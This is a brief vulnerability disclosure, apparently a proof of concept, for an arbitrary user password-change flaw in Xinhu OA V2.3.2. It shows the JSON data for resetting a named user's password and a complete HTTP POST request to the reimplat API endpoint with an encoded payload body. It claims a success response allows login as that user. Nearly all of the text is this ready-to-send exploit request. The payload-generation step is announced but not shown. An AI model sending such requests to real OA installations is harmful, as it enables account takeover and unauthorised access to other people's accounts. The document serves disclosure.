Any user's password modification vulnerability in Xinhuo OA V2.3.2

[magicwave18]

1、The payload generated to change the password is as follows:
The data passed in is
$data='{"msgtype":"editpass","user":"rock","pass":"123"}';, user is the username and pass is the password to be changed.

Generate the corresponding payload:

2、Send request package:

POST /xinhu/api.php?m=reimplat&a=index HTTP/1.1
Host: localhost:11
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 72

31ae15.X3amdiGpSx5aZqNWaq6NSZVut2MjYWm5UqdTHn1OQWtPFrKuIalKTZGNW4g

Return success to log in successfully